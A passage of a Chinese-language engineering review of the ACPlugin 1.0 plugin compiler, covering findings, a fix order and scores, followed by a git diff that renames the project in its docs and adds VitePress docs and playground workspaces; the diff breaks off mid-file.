布局逐字复制(Codex 内 3 个路径安全实现,见 A1);§21 核验日期注解只有 Claude Hook schema 有,更易变的 Codex plugin/interface/openai.yaml 没有(建议补)。 -- **Cursor/Antigravity/OpenCode/Pi(secondary):** delivery 类型、根结构、逐平台元数据、兼容矩阵全部正确;Antigravity「只官方确认字段」纪律、OpenCode omit-if-empty 不覆盖消费者 `package.json`、Pi prompt-template fallback 都到位。**最大风险面(中):** 兼容矩阵与每个 validator 拒绝分支**几乎无测试**(cursor:2、antigravity:1、opencode:3、pi:1,且 fixture 都用 inherit-model + 默认 invocation,degraded/transform 代码路径从不在测试下执行)—— 一个静默丢失 degraded 条目/误分级 transform/削弱 validator 的回归会绿灯通过。建议加:用 `user:false` skill + 带 argumentHint 命令 + fast/capable+write/shell agent 的 fixture 断言精确 `CompatibilityEntry` 集合,并对畸形候选断言每个 validator 错误码。低:OpenCode validator 有一个**什么都不校验的惰性循环**(`validator.ts:43`,建议删除或让 fall-through 真的报 `OPENCODE_UNEXPECTED_ARTIFACT`)。 - -### Extensions(Hooks + MCP)—— 本次审阅**最强通道** -安全与确定性模型自洽、载重、非 cargo-cult:Hooks 每个 hook 只构建一次字节一致的中立 `handler.mjs` + 逐 adapter `wire.mjs`,运行时沙箱拦截 stdout/stderr/`process.exit`、装 uncaught/unhandledRejection、两 tick beforeExit 收尾、全部失败映射为稳定错误码且不泄露原始 payload,测试异常充分。MCP `{value}`(内联) 与 `{env}`(仅引用、构建从不读值) 分离到位、HTTPS-in-prod/loopback-dev、拒绝 native addon/未解析动态 import/额外 chunk、bounded 无密钥 smoke。六 adapter 兼容矩阵 cell-for-cell 匹配 §13.4/§14.4,peer 边界(`@tokenroll/acplugin`、rolldown external)干净。仅 4 项 低/info:`wire.mjs` 按 (adapter,hook) 重算而非 per-platform memoize(中,建议 memoize + 断言同平台跨 hook 字节一致);Codex 非 tool 事件上有意义 matcher 未报 degraded(低);stdio MCP smoke 每次 dev 重建都 spawn(低 DX,建议按 production gate 或按内容哈希缓存);运行时拦截器一处死三元(info)。 - -### CLI —— 「扎实、贴合规范」 -四命令共享一个 `runProject`/`executeProject`(§16.2);退出码 0/1/2/130 正确(dev 自持 SIGINT,其余继承 Node 默认);`--json` 严格单文档到 stdout、日志到 stderr;`--platform` 子集保留配置顺序并拒绝未配置/重复/空;strict 覆盖干净;jiti `moduleCache:false+fsCache:false` 给 dev 正确的新鲜重载且不自动加载 `.env`;tsdown 确实把 Core+六私有平台内联进主入口、MCP Extension 仅在 lazy migration chunk(§4.3 成立);公开入口精选、平台子路径不泄露内部类型(§4.4)。缺陷除 F1 的 CLI 层显形外均属次要:legacy `--target` 检测扫原始 argv 会对值为 `-t`/`--target` 的位置参数误报(低,建议 parse 后检测或在 `--` 处停止扫描);init 失败收敛成通用 `init failed.` 隐藏可操作原因(低 DX,建议透传 init 自己的校验消息)。 - -### Migration —— 隔离与安全路径「最强之一」,缺陷在确定性/保真 -只经公开 API 触碰 Core(§17.1);§4.3 lazy-chunk 隔离经构建产物实证成立(`dist/index.mjs` 不引用 migration/MCP,rolldown 不进任何发布产物);字段级保真 + 最差字段 rollup、`report.json` 凭据脱敏、GitHub 源校验、符号链接/路径逃逸处理、安全的「仅无内联凭据+仅 env 引用认证的远程 HTTPS MCP 自动迁移」、dry-run + 原子 rename、§17.3 映射表全部匹配。缺陷:F3(规范 ID 冲突,高);`report.json` 的 `items[]` 按未排序 `readdirSync` 顺序 → 跨文件系统字节不稳定(中,`utils/fs.ts:55-101`,建议对 items 按 kind→id→source 稳定排序);生成工程重校验继承 F1(低,随 F1 根因修复自动解决)。架构 info:`validateCanonicalProject` 用进程级全局 Symbol 桥 + refcount 把公开 API 递给生成工程(CLI 串行安全,但并发编程式 migrate 会共享一个全局桥 —— 是 by-convention 而非结构性隔离,建议留注释说明串行前提)。 - -### Testing / Tooling —— 硬骨头覆盖强,弱在接线 -强:`cli.test.ts` 9+ 个 SIGINT/exit-130/dev-recovery 场景(多数项目直接跳过);`transaction.test.ts`+`locking.test.ts` 覆盖中断恢复与死进程锁回收;`migration.test.ts` 深覆盖脱敏/二进制/注入;`architecture.test.ts` 实现残留守卫(§19.2.10);`verify-release.mjs` 是真正的 tarball/publint/attw/clean-consumer/Pi-pack 门。弱:F4(CI 不跑 test/build);**无端到端重复构建字节相等测试**(§19.2.8/§18 —— 确定性只在序列化器层对乱序内存输入测过,正是 F1 破坏的那类保证却无测试可抓,中/高);所有脱敏测试都注入受控 environment,**掩盖了生产用的 `process.env` 默认路径**(中,这正是 F1 在干净机器上仍绿的 CI 卫生原因);`release:verify`/tarball 层只在手动脚本、任何自动门都不跑(中);注释守卫无防漂移(中,`check-comments.mjs` 只遍历硬编码 131 项 `enforcedFiles`,新增 src 文件会静默逃逸 —— 建议 glob `src/**/*.ts` 并对缺失项失败);注释守卫可被单个汉字满足(低,`CHINESE_PATTERN.test`,本质是 presence 检查,可接受但值得记为已知限制);根 `pretest=build` 使构建失败显示为测试失败(低 DX)。 - ---- - -## 6. 建议的处理顺序 - -**发布 1.0 前必须处理(阻断级):** -1. **F1 / REDACT-1** —— 删除 env 值子串脱敏、`executeLifecycle` 默认空脱敏环境;配一个含平台 id 子串的 env-like 回归测试。修好后唯一失败测试转绿,§18 确定性恢复。 -2. **F2** —— 把 `finalize()`/buildEnd 移出事务 `afterSwap`,buildEnd 错误只记诊断、不下调 committed/success。 -3. **F3** —— Migration 加 per-kind emitted ID + per-stage workspace 目录注册表,冲突时消歧或标 degraded/unmapped。 -4. **F4** —— `check.yml` 加 `test`+`build`(或 `pnpm run check`);发布分支加 `release:verify` job。 -5. **F5** —— `engines.node` 抬到 `>=22.18`(或 `^22.13||>=24`),同步规范 §4.1 / `AGENTS.md`;如需保留 emitted node20 目标则拆分「运行时 floor / 构建 floor」。 - -**发布前建议处理(质量/一致性):** -6. 端到端重复构建字节相等测试 + 生产 `process.env` 脱敏路径回归(补 §19.2.8 缺口,锁死 F1 不回归)。 -7. 二级平台兼容矩阵 + validator 拒绝分支测试(补最大未测风险面)。 -8. scanner Public `to` 反斜杠归一化对齐(补 Windows 确定性盲点)。 -9. 两个 Extension 包补 attw+publint gate;`isolatedDeclarations:true`;tsdown catalog 收紧为 `~0.22.14`。 -10. 注释守卫改为 glob `src/**/*.ts` 防漂移。 - -**可延后(低优 / 纯质量):** 平台 helper 提取到 Core 共享模块(A1)、Codex 三路径函数合一、`pendingArtifacts` 未处理 rejection 加 `.catch`、Hooks `wire.mjs` per-platform memoize、OpenCode 惰性循环删除/落实、§21 核验日期注解补齐、migration `items[]` 稳定排序、dev 增量缓存决策(实现或把 §18 该 MUST 降为 MAY)、legacy `--target` 检测/init 错误消息 DX、`localeCompare` → code-unit(如需摆脱 ICU 依赖)。 - ---- - -## 7. 总评 - -按十分制:**架构设计 9/10,代码实现 8.5/10,规范一致性 8.5/10,测试与工程化 7/10,工具链现代度 8/10。** - -这份重构在最难的地方(确定性、所有权、事务、安全边界)做对了,而且是**深思熟虑地**做对 —— 这些机制不是模板噪音,每一层都能对上一条 §10/§18 的具体要求。发现的问题没有一个动摇架构:F1 是一个原语选错(一处共享函数即可修复所有 caller)、F2 是一处生命周期与事务的接线错误、F3 是 migration 少了一个注册表、F4/F5 是 CI 与版本声明的工程卫生。全部可在小改动内闭合,且都带明确修复路径。 - -从「懒惰资深工程师」视角,值得一提的是**克制得当**:没有为单实现造接口、没有把 marketplace 做成空壳字段、CLI 没有引入第二套插件面 —— 反而是 F1 那处「主动去 grep 环境变量值」的额外机制才是应当删掉的复杂度。删掉它,同时修好其余四处接线,这就是一个可以自信发布的 1.0。 diff --git a/eslint.config.mjs b/eslint.config.mjs index 519a71f..42280ed 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -3,7 +3,17 @@ import tseslint from 'typescript-eslint'; import stylistic from '@stylistic/eslint-plugin'; export default tseslint.config( - { ignores: ['**/dist', '**/node_modules', 'llmdoc', 'coverage', '.llmdoc-tmp'] }, + { + ignores: [ + '**/dist', + '**/node_modules', + 'llmdoc', + 'coverage', + '.llmdoc-tmp', + 'packages/docs/api', + 'packages/docs/.vitepress/cache', + ], + }, js.configs.recommended, ...tseslint.configs.recommended, // Formatting via ESLint Stylistic, matched to the existing code style. diff --git a/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.md b/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.md index 63c891f..9c9a56a 100644 --- a/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.md +++ b/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.md @@ -2,7 +2,7 @@ - Status: Accepted - Date: 2026-08-08 -- Applies to: acplugin 1.0 +- Applies to: ACPlugin 1.0 ## Context @@ -19,7 +19,7 @@ The 1.0 specification mentioned a dev cache without defining serializable Extens 3. `BuildStartContext.environment` and `BuildEndContext.environment` remain public lifecycle capabilities. Core captures one frozen snapshot for the invocation. 4. The captured environment snapshot is a deterministic input. Core and built-in implementations must not introduce undeclared time, randomness, paths, or Secret-value reads into artifacts or reports. Trusted project/config/Extension code remains responsible for any ambient state it intentionally observes. 5. Report sanitization removes structured secret fields, recognized credential forms, project/runtime roots, and temporary paths. It does not enumerate arbitrary environment values and replace matching substrings. -6. acplugin 1.0 does not implement a whole-execution or cross-run Core cache. The specification constrains a dev cache if one is implemented; it does not require one to exist. +6. ACPlugin 1.0 does not implement a whole-execution or cross-run Core cache. The specification constrains a dev cache if one is implemented; it does not require one to exist. 7. A future cache requires an explicit versioned fingerprint, serializable values, replayable owner-scoped effects, complete dependency discovery, corruption handling, and clean-build equivalence tests. Third-party implementations are uncacheable by default unless they opt in to that future contract. ## Consequences diff --git a/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.zh-CN.md b/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.zh-CN.md index 9ebf743..3302ce9 100644 --- a/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.zh-CN.md +++ b/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.zh-CN.md @@ -2,7 +2,7 @@ - 状态:已接受 - 日期:2026-08-08 -- 适用版本:acplugin 1.0 +- 适用版本:ACPlugin 1.0 ## 背景 @@ -19,7 +19,7 @@ 3. 保留 `BuildStartContext.environment` 与 `BuildEndContext.environment` 公共能力;Core 为一次调用捕获并冻结一份快照。 4. 捕获的环境快照属于确定性输入。Core 与内置实现不得把未声明时间、随机、路径或 Secret 值读取引入 Artifact/报告;可信项目配置和第三方 Extension 对自己主动观察的机器状态负责。 5. 报告脱敏处理结构化 secret 字段、可识别凭据形式、工程/运行根与临时路径;不得枚举任意环境值并替换同字子串。 -6. acplugin 1.0 不实现整条执行或 Core 跨运行缓存。规范只约束“若实现 dev cache”时的行为,不要求 1.0 必须存在缓存。 +6. ACPlugin 1.0 不实现整条执行或 Core 跨运行缓存。规范只约束“若实现 dev cache”时的行为,不要求 1.0 必须存在缓存。 7. 未来缓存必须先定义版本化 fingerprint、可序列化值、可重放的 owner-scoped effects、完整依赖发现、损坏恢复和 clean-build 等价测试。第三方实现默认不可缓存,除非显式加入未来协议。 ## 影响 diff --git a/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.md b/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.md index d60dfb1..e6f73d1 100644 --- a/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.md +++ b/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.md @@ -2,11 +2,11 @@ - Status: Accepted - Date: 2026-08-08 -- Applies to: acplugin 1.0 +- Applies to: ACPlugin 1.0 ## Context -The repository build tool and the published packages have different Node.js constraints. tsdown 0.22.14 requires `^22.18.0 || >=24.11.0`, while acplugin intends to keep a supported Node 20 runtime. The previous Commander 15 dependency prevented that intent because it requires Node 22.12 or newer. Other direct runtime dependencies also require precise minor ranges rather than the broad `>=20` declaration. +The repository build tool and the published packages have different Node.js constraints. tsdown 0.22.14 requires `^22.18.0 || >=24.11.0`, while ACPlugin intends to keep a supported Node 20 runtime. The previous Commander 15 dependency prevented that intent because it requires Node 22.12 or newer. Other direct runtime dependencies also require precise minor ranges rather than the broad `>=20` declaration. ## Decision diff --git a/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.zh-CN.md b/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.zh-CN.md index 7657b32..dbe6f81 100644 --- a/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.zh-CN.md +++ b/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.zh-CN.md @@ -2,11 +2,11 @@ - 状态:已接受 - 日期:2026-08-08 -- 适用版本:acplugin 1.0 +- 适用版本:ACPlugin 1.0 ## 背景 -仓库构建工具与已发布包具有不同的 Node.js 约束。tsdown 0.22.14 要求 `^22.18.0 || >=24.11.0`,而 acplugin 希望保留受支持的 Node 20 运行时。先前的 Commander 15 要求 Node 22.12 或更高,因此与该产品目标冲突。其他直接运行依赖也要求精确 minor 范围,不能用宽泛的 `>=20` 准确表达。 +仓库构建工具与已发布包具有不同的 Node.js 约束。tsdown 0.22.14 要求 `^22.18.0 || >=24.11.0`,而 ACPlugin 希望保留受支持的 Node 20 运行时。先前的 Commander 15 要求 Node 22.12 或更高,因此与该产品目标冲突。其他直接运行依赖也要求精确 minor 范围,不能用宽泛的 `>=20` 准确表达。 ## 决策 diff --git a/llmdoc/architecture/decisions/0004-first-class-platform-packages.md b/llmdoc/architecture/decisions/0004-first-class-platform-packages.md index 7f03294..5fc6c7a 100644 --- a/llmdoc/architecture/decisions/0004-first-class-platform-packages.md +++ b/llmdoc/architecture/decisions/0004-first-class-platform-packages.md @@ -2,7 +2,7 @@ - Status: accepted - Date: 2026-08-08 -- Scope: acplugin 1.0 package API +- Scope: ACPlugin 1.0 package API ## Context diff --git a/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md b/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md index f029966..8d83d19 100644 --- a/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md +++ b/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md @@ -2,7 +2,7 @@ - 状态:已接受 - 日期:2026-08-08 -- 适用范围:acplugin 1.0 package API +- 适用范围:ACPlugin 1.0 package API ## 背景 diff --git a/llmdoc/architecture/system.md b/llmdoc/architecture/system.md index df4426c..195b1bd 100644 --- a/llmdoc/architecture/system.md +++ b/llmdoc/architecture/system.md @@ -94,3 +94,9 @@ Pre-commit failure leaves old output untouched. Failure after backup/swap rolls `packages/acplugin/src/index.ts` exposes the public facade while `project-config.ts` loads fresh trusted TypeScript config/descriptor modules with Jiti and `run-project.ts` connects resolved projects to Core. Nested config objects are runtime-schema checked before lifecycle use. `cli.ts` owns commands, JSON/text output discipline, exit codes, watch coalescing, and lazy Migration import. Stable diagnostics redact external exceptions, absolute paths, and recognizable credential forms. The normal facade and CLI startup do not import `migration/`. The packed main tarball contains no private package imports, official integration manifest dependencies, or normal eager edges to those integrations. Migration's lazy chunk is the isolated exception that bundles the Claude Code Platform and MCP implementation needed to validate generated projects. `scripts/verify-release.mjs` proves the eager boundary, all nine public package manifests, peer rewrites, and private Symbol-brand interoperability through one main-package peer instance in external consumers. + +## Repository-only documentation consumers + +`packages/docs/` is a private VitePress workspace. TypeDoc scans only the root public entry point of each of the nine public packages, generates Markdown and the API sidebar into an ignored directory, and then VitePress builds the task-oriented manual without remote content, timestamps, or deployment side effects. + +`packages/playground/` is a private real consumer that explicitly imports the main package, Claude Code/Codex Platforms, and Hooks Extension. It exercises Components, Skill auxiliary files, Hooks, Public files, compatibility propagation, and managed output. Its llmdoc v3 content is intentionally a template smoke: runtime state, incremental update/cache, Schema, Migration, and MCP behavior remain non-goals. Neither private workspace is a dependency of a public package or part of release tarballs. diff --git a/llmdoc/architecture/system.zh-CN.md b/llmdoc/architecture/system.zh-CN.md index 6e9f765..3aa01f8 100644 --- a/llmdoc/architecture/system.zh-CN.md +++ b/llmdoc/architecture/system.zh-CN.md @@ -94,3 +94,9 @@ Extension build context 以 `addWatchFile()` 作为唯一依赖登记边界。 `packages/acplugin/src/index.ts` 暴露公开门面;`project-config.ts` 使用 Jiti 重新加载受信任的 TypeScript 配置和描述文件,`run-project.ts` 把解析后的工程连接到 Core。嵌套配置对象会在进入生命周期前完成运行时 Schema 检查。`cli.ts` 负责命令、JSON/文本输出纪律、退出码、监听事件合并和 Migration 延迟导入。稳定诊断会隐藏外部异常、本机绝对路径和可识别的凭据形式。 普通公开门面和 CLI 启动过程不会导入 `migration/`。主包 tarball 不包含私有包导入、官方集成 manifest 依赖或指向集成的正常 eager 边。Migration lazy chunk 是隔离的例外:它内联生成工程自验证所需的 Claude Code Platform 与 MCP 实现。`scripts/verify-release.mjs` 会在外部消费者中验证 eager 边界、九个公开 package manifest、peer rewrite,以及经同一主包 peer 实例产生的私有 Symbol 品牌互操作。 + +## 仓库内文档消费者 + +`packages/docs/` 是私有 VitePress workspace。TypeDoc 只扫描九个公开 package 的根公开入口,把 Markdown 与 API sidebar 生成到 ignored 目录;VitePress 随后构建按任务组织的手写文档,不读取远程内容、不注入时间,也不执行部署副作用。 + +`packages/playground/` 是私有的真实消费者,显式导入主包、Claude Code/Codex Platform 和 Hooks Extension。它覆盖 Components、Skill auxiliary、Hooks、Public 文件、兼容性传播与受管输出。其 llmdoc v3 内容仅为模板 smoke;runtime 状态、增量更新/缓存、Schema、Migration 和 MCP 行为仍是非目标。两个私有 workspace 都不会成为公开包依赖,也不进入发行 tarball。 diff --git a/llmdoc/guides/commenting.zh-CN.md b/llmdoc/guides/commenting.zh-CN.md index a101850..4a0f8e8 100644 --- a/llmdoc/guides/commenting.zh-CN.md +++ b/llmdoc/guides/commenting.zh-CN.md @@ -1,6 +1,6 @@ # 中文代码注释规范 -本规范用于说明 acplugin 仓库中中文代码注释的覆盖范围、内容要求和维护方式。注释需要解释职责、业务语义、生命周期、不变量和设计原因,不应逐字翻译代码。 +本规范用于说明 ACPlugin 仓库中中文代码注释的覆盖范围、内容要求和维护方式。注释需要解释职责、业务语义、生命周期、不变量和设计原因,不应逐字翻译代码。 ## 声明注释 diff --git a/llmdoc/guides/package-code-tour.zh-CN.md b/llmdoc/guides/package-code-tour.zh-CN.md index 34ff1bd..4d204d3 100644 --- a/llmdoc/guides/package-code-tour.zh-CN.md +++ b/llmdoc/guides/package-code-tour.zh-CN.md @@ -1,6 +1,6 @@ -# acplugin 按 Package 代码导览 +# ACPlugin 按 Package 代码导览 -本文面向第一次进入 acplugin 1.0 代码库的维护者,按 workspace package 解释内容、架构、数据流和实现逻辑。它不是 API 规范的替代品;需要判断 MUST/MUST NOT 时,仍以正式规范、ADR 和源码为准。 +本文面向第一次进入 ACPlugin 1.0 代码库的维护者,按 workspace package 解释内容、架构、数据流和实现逻辑。它不是 API 规范的替代品;需要判断 MUST/MUST NOT 时,仍以正式规范、ADR 和源码为准。 建议先用 15 分钟读完“全局心智模型”和 `@acplugin/core`,再按当前任务跳到对应 package。代码链接指向主要入口,不要求从目录第一行顺序阅读。 @@ -19,6 +19,8 @@ | `packages/extensions/hooks` | `@tokenroll/acplugin-extension-hooks` | 公开 | Hook 作者协议、单次 Bundle、安全 Runner、六平台 Adapter | | `packages/extensions/mcp` | `@tokenroll/acplugin-extension-mcp` | 公开 | HTTP/stdio MCP 作者协议、stdio Bundle/smoke、六平台 Adapter | | `packages/test` | `@acplugin/test` | 私有 | 跨包、CLI、Migration、架构和发布边界集成测试 | +| `packages/docs` | `@acplugin/docs` | 私有 | VitePress 手写文档、九公开包 TypeDoc API 与导航生成 | +| `packages/playground` | `@acplugin/playground` | 私有 | llmdoc v3 主题真实消费工程与 packaging/template smoke | 依赖方向是刻意收窄的: @@ -33,12 +35,20 @@ flowchart TD TEST --> CORE TEST --> H TEST --> M + DOCS["@acplugin/docs"] -. 扫描公开根入口 .-> MAIN + DOCS -. 扫描公开根入口 .-> P1 + DOCS -. 扫描公开根入口 .-> H + DOCS -. 扫描公开根入口 .-> M + PLAY["@acplugin/playground"] --> MAIN + PLAY --> P1 + PLAY --> H ``` - Core 不 import 任何具体 Platform、Hooks、MCP 或 Migration。 - 六个官方 Platform 和两个 Extension 的生产源码都只从主包导入公开 SDK,并把主包保持为 peer dependency;它们不能依赖私有 Core 或另一个集成。 - 主包通过 [tsdown 配置](../../packages/acplugin/tsdown.config.ts)只内联 Core。它没有官方集成 re-export、subpath 或 manifest 依赖,公开 tarball 运行时不出现 `@acplugin/*`。 - 每个 Platform 默认导出并具名导出自身工厂;MCP 的 Rolldown 重入口还被拆成独立 `bundler.mjs`。 +- Docs 直接把九个公开 package 根目录作为 TypeDoc entry point,但不成为它们的运行时依赖;Playground 只通过公开包装配真实消费路径。 Migration 会在主包构建时把自验证所需的 Claude Code Platform 与 MCP Extension 代码内联进 CLI 的惰性 chunk,但不会给主包 manifest 增加官方集成运行时依赖,也不会让正常 façade/CLI 启动主动加载 Migration。 @@ -744,7 +754,42 @@ release:verify(Vitest 之外): 选择测试位置的原则:如果错误只在一个 Registry 或转换器内发生,放所属 package;如果需要 façade、CLI、多个包、真实 bundle/tarball 或事务树共同出现,放 `packages/test`。 -## 15. 快速定位:我要改什么,先看哪里 +## 15. `@acplugin/docs` 与 `@acplugin/playground`:仓库内消费层 + +### 15.1 Docs 的内容、架构与数据流 + +- [typedoc.json](../../packages/docs/typedoc.json):使用 packages strategy,显式扫描九个公开 package 的 `src/index.ts`,排除 private/protected/internal API,并把 warning 当作失败。 +- [.vitepress/config.mts](../../packages/docs/.vitepress/config.mts):定义 Guide、Config、Platforms、Extensions、Ecosystem、Playground、Resources 和自动 API sidebar;使用本地搜索与默认主题。 +- 手写 Markdown 按用户任务组织,TypeDoc API 输出到 ignored 的 `packages/docs/api/`;两者由 VitePress 在 build 时合并。 +- [verify-docs.mjs](../../scripts/verify-docs.mjs):逐包验证根页和代表 API,拒绝私有 package 页面及本机绝对路径泄漏。 + +```text +nine public src/index.ts +→ TypeDoc + markdown theme +→ ignored api/*.md + typedoc-sidebar.json +→ VitePress manual + generated API +→ dead-link/local-search/static build +→ verify public/private package boundary +``` + +TypeDoc 因旧 Compiler API 兼容性在此 workspace 使用 TypeScript 6;正式源码 typecheck 和 Playground 仍使用 catalog 的 TypeScript 7。生成物可重建且不提交,也不能成为 release tarball 输入。 + +### 15.2 Playground 的内容、架构与数据流 + +[acplugin.config.ts](../../packages/playground/acplugin.config.ts)显式装配主包、Claude Code、Codex 和 Hooks。工程包含四个 Command、一个带四个 auxiliary reference 的 llmdoc Skill、三个 Agent、三个 no-op Hook,以及 runtime/schema/upgrade 边界和四个 Public 模板。 + +```text +canonical llmdoc-v3-themed authoring files +→ real public package imports +→ acplugin validate --json +→ exact Codex degradation whitelist +→ verify Skill auxiliary / Hook wire / Public artifacts +→ real managed build for Claude Code + Codex +``` + +配置使用 `strict: false` 只接受 Codex Agent fallback 及其依赖传播;[verify-playground.mjs](../../scripts/verify-playground.mjs)按结构化 subject/capability 精确列出允许降级,并拒绝其他诊断和所有 unsupported。Playground 只验证 packaging/template 边界,不实现 llmdoc runtime、增量更新、缓存、Schema、Migration 或 MCP。 + +## 16. 快速定位:我要改什么,先看哪里 | 任务 | 第一落点 | 通常需要同步检查 | | --- | --- | --- | @@ -759,8 +804,10 @@ release:verify(Vitest 之外): | 修改 Hook 作者语义 | Hooks `types.ts`/`discovery.ts` | runner、wire、六平台 Adapter | | 修改 MCP transport/auth | MCP `types.ts`/`discovery.ts` | bundler smoke、所有 Adapter、Secret 测试 | | 修改发布边界 | package manifest、tsdown、verify script | publint、ATTW、tarball consumer、ESM import graph | +| 修改文档信息架构或公共 API 页面 | `packages/docs`、公开源码 JSDoc | TypeDoc generation、VitePress dead link、`verify-docs` | +| 修改 Playground 模板或允许的兼容性 | `packages/playground` | typecheck、结构化 degradation 白名单、两平台真实 build | -## 16. 推荐阅读顺序 +## 17. 推荐阅读顺序 第一次完整上手可按以下顺序: @@ -772,5 +819,6 @@ release:verify(Vitest 之外): 6. 再读 Codex,理解 fallback、兼容性和复杂 Validator。 7. 最后读 Hooks/MCP 的 `types → discovery → bundler → adapters`,理解横向能力如何不侵入 Platform。 8. 用 `packages/test` 中对应集成测试反向验证自己的理解。 +9. 最后从 `packages/docs` 看公共叙事与 API,从 `packages/playground` 看最小真实消费闭环。 本仓库的核心判断口诀是:**谁拥有数据、谁能读取来源、谁负责最终验证、失败时旧输出是否仍完整。** 遇到新需求时先回答这四个问题,通常就能找到正确 package 和正确抽象层。 diff --git a/llmdoc/guides/release.md b/llmdoc/guides/release.md index b79e214..3b04ee8 100644 --- a/llmdoc/guides/release.md +++ b/llmdoc/guides/release.md @@ -14,13 +14,13 @@ The repository has nine independently versioned public packages: - `@tokenroll/acplugin-extension-hooks` - `@tokenroll/acplugin-extension-mcp` -Core and the test workspace are private and must not be published or appear as packed runtime dependencies. Every npm publication, Registry check, Git tag, and GitHub Release is performed manually by an authorized maintainer. The repository has no automated publication workflow. +Core, the test workspace, Docs, and Playground are private and must not be published or appear as packed runtime dependencies. Every npm publication, Registry check, Git tag, and GitHub Release is performed manually by an authorized maintainer. The repository has no automated publication workflow. Repository build and release tooling requires Node.js `^22.18.0 || >=24.11.0`; CI uses 22.18.0. All nine public packages currently declare the separate runtime range `^20.19.0 || ^22.13.0 || >=23.5.0`. ## Repository workflows -`Check` runs automatically for pull requests and performs only lint and typecheck. +`Check` runs automatically for pull requests. One job performs lint and typecheck; an independent job runs `docs:check`, which rebuilds generated API pages, checks VitePress links/structure, and validates/builds the real Playground. `Verify` is manually dispatched with read-only repository permissions. It builds and validates all nine tarballs from one revision on Node 22.18, uploads that exact artifact set, then consumes it in a clean Node 20.19 project. It never publishes or creates release references. Verifying one revision together does not make the packages a fixed version cohort. @@ -38,6 +38,7 @@ The repository setting **Actions → General → Workflow permissions → Allow ```bash pnpm install --frozen-lockfile pnpm run check + pnpm run docs:check pnpm run release:verify ``` diff --git a/llmdoc/guides/release.zh-CN.md b/llmdoc/guides/release.zh-CN.md index 463038f..5dd477d 100644 --- a/llmdoc/guides/release.zh-CN.md +++ b/llmdoc/guides/release.zh-CN.md @@ -14,13 +14,13 @@ - `@tokenroll/acplugin-extension-hooks` - `@tokenroll/acplugin-extension-mcp` -Core 与测试工作区是私有包,不能发布,也不能作为运行时依赖出现在 tarball 中。所有 npm 发布、Registry 检查、Git Tag 和 GitHub Release 均由获得授权的维护者手工执行。仓库没有自动发布工作流。 +Core、测试工作区、Docs 和 Playground 是私有包,不能发布,也不能作为运行时依赖出现在 tarball 中。所有 npm 发布、Registry 检查、Git Tag 和 GitHub Release 均由获得授权的维护者手工执行。仓库没有自动发布工作流。 仓库构建与发布工具要求 Node.js `^22.18.0 || >=24.11.0`,CI 固定使用 22.18.0;九个公开 package 当前都声明独立的运行时范围 `^20.19.0 || ^22.13.0 || >=23.5.0`。 ## 仓库工作流 -`Check` 在 Pull Request 创建时自动执行,并且只运行 lint 和 typecheck。 +`Check` 在 Pull Request 创建时自动执行:一个 Job 运行 lint/typecheck,另一个独立 Job 运行 `docs:check`,重新生成 API 页面、检查 VitePress 链接/结构,并验证及构建真实 Playground。 `Verify` 仅能手工触发,并使用只读仓库权限。它在 Node 22.18 上从同一 Revision 构建和验证九个 tarball,上传这组精确 Artifact,再在干净的 Node 20.19 工程中消费同一组文件;不会发布或创建 Release 引用。同一 Revision 一起验证不代表这些 package 属于固定版本组。 @@ -38,6 +38,7 @@ Core 与测试工作区是私有包,不能发布,也不能作为运行时依 ```bash pnpm install --frozen-lockfile pnpm run check + pnpm run docs:check pnpm run release:verify ``` diff --git a/llmdoc/guides/usage.md b/llmdoc/guides/usage.md index 2385960..cb139d3 100644 --- a/llmdoc/guides/usage.md +++ b/llmdoc/guides/usage.md @@ -1,8 +1,8 @@ -# Using acplugin +# Using ACPlugin > [中文对照](usage.zh-CN.md) -acplugin projects author one canonical plugin and compile Platform-owned deliveries for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. Node.js `^20.19.0 || ^22.13.0 || >=23.5.0` and pnpm are required. +ACPlugin projects author one canonical plugin and compile Platform-owned deliveries for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. Node.js `^20.19.0 || ^22.13.0 || >=23.5.0` and pnpm are required. ## Create a project diff --git a/llmdoc/guides/usage.zh-CN.md b/llmdoc/guides/usage.zh-CN.md index 645fba4..cb257c0 100644 --- a/llmdoc/guides/usage.zh-CN.md +++ b/llmdoc/guides/usage.zh-CN.md @@ -1,8 +1,8 @@ -# 使用 acplugin +# 使用 ACPlugin > [English version](usage.md) -acplugin 工程只创作一份规范 Plugin,然后为 Claude Code、Codex、Cursor、Antigravity、OpenCode 和 Pi 编译由各 Platform 拥有的交付产物。运行环境需要 Node.js `^20.19.0 || ^22.13.0 || >=23.5.0` 以及 pnpm。 +ACPlugin 工程只创作一份规范 Plugin,然后为 Claude Code、Codex、Cursor、Antigravity、OpenCode 和 Pi 编译由各 Platform 拥有的交付产物。运行环境需要 Node.js `^20.19.0 || ^22.13.0 || >=23.5.0` 以及 pnpm。 ## 创建工程 @@ -44,7 +44,7 @@ export default defineConfig({ }); ``` -acplugin 不提供 Instructions Component。只有启用对应官方 Extension 后,工程才允许存在 Hooks 或 MCP 目录。 +ACPlugin 不提供 Instructions Component。只有启用对应官方 Extension 后,工程才允许存在 Hooks 或 MCP 目录。 TypeScript 配置以及已启用的 Hook/MCP 描述文件都是受信任、可执行的项目代码,应当像构建脚本一样接受 review。Legacy Migration 来源会作为不可信数据扫描,不会作为描述文件执行。 diff --git a/llmdoc/index.md b/llmdoc/index.md index 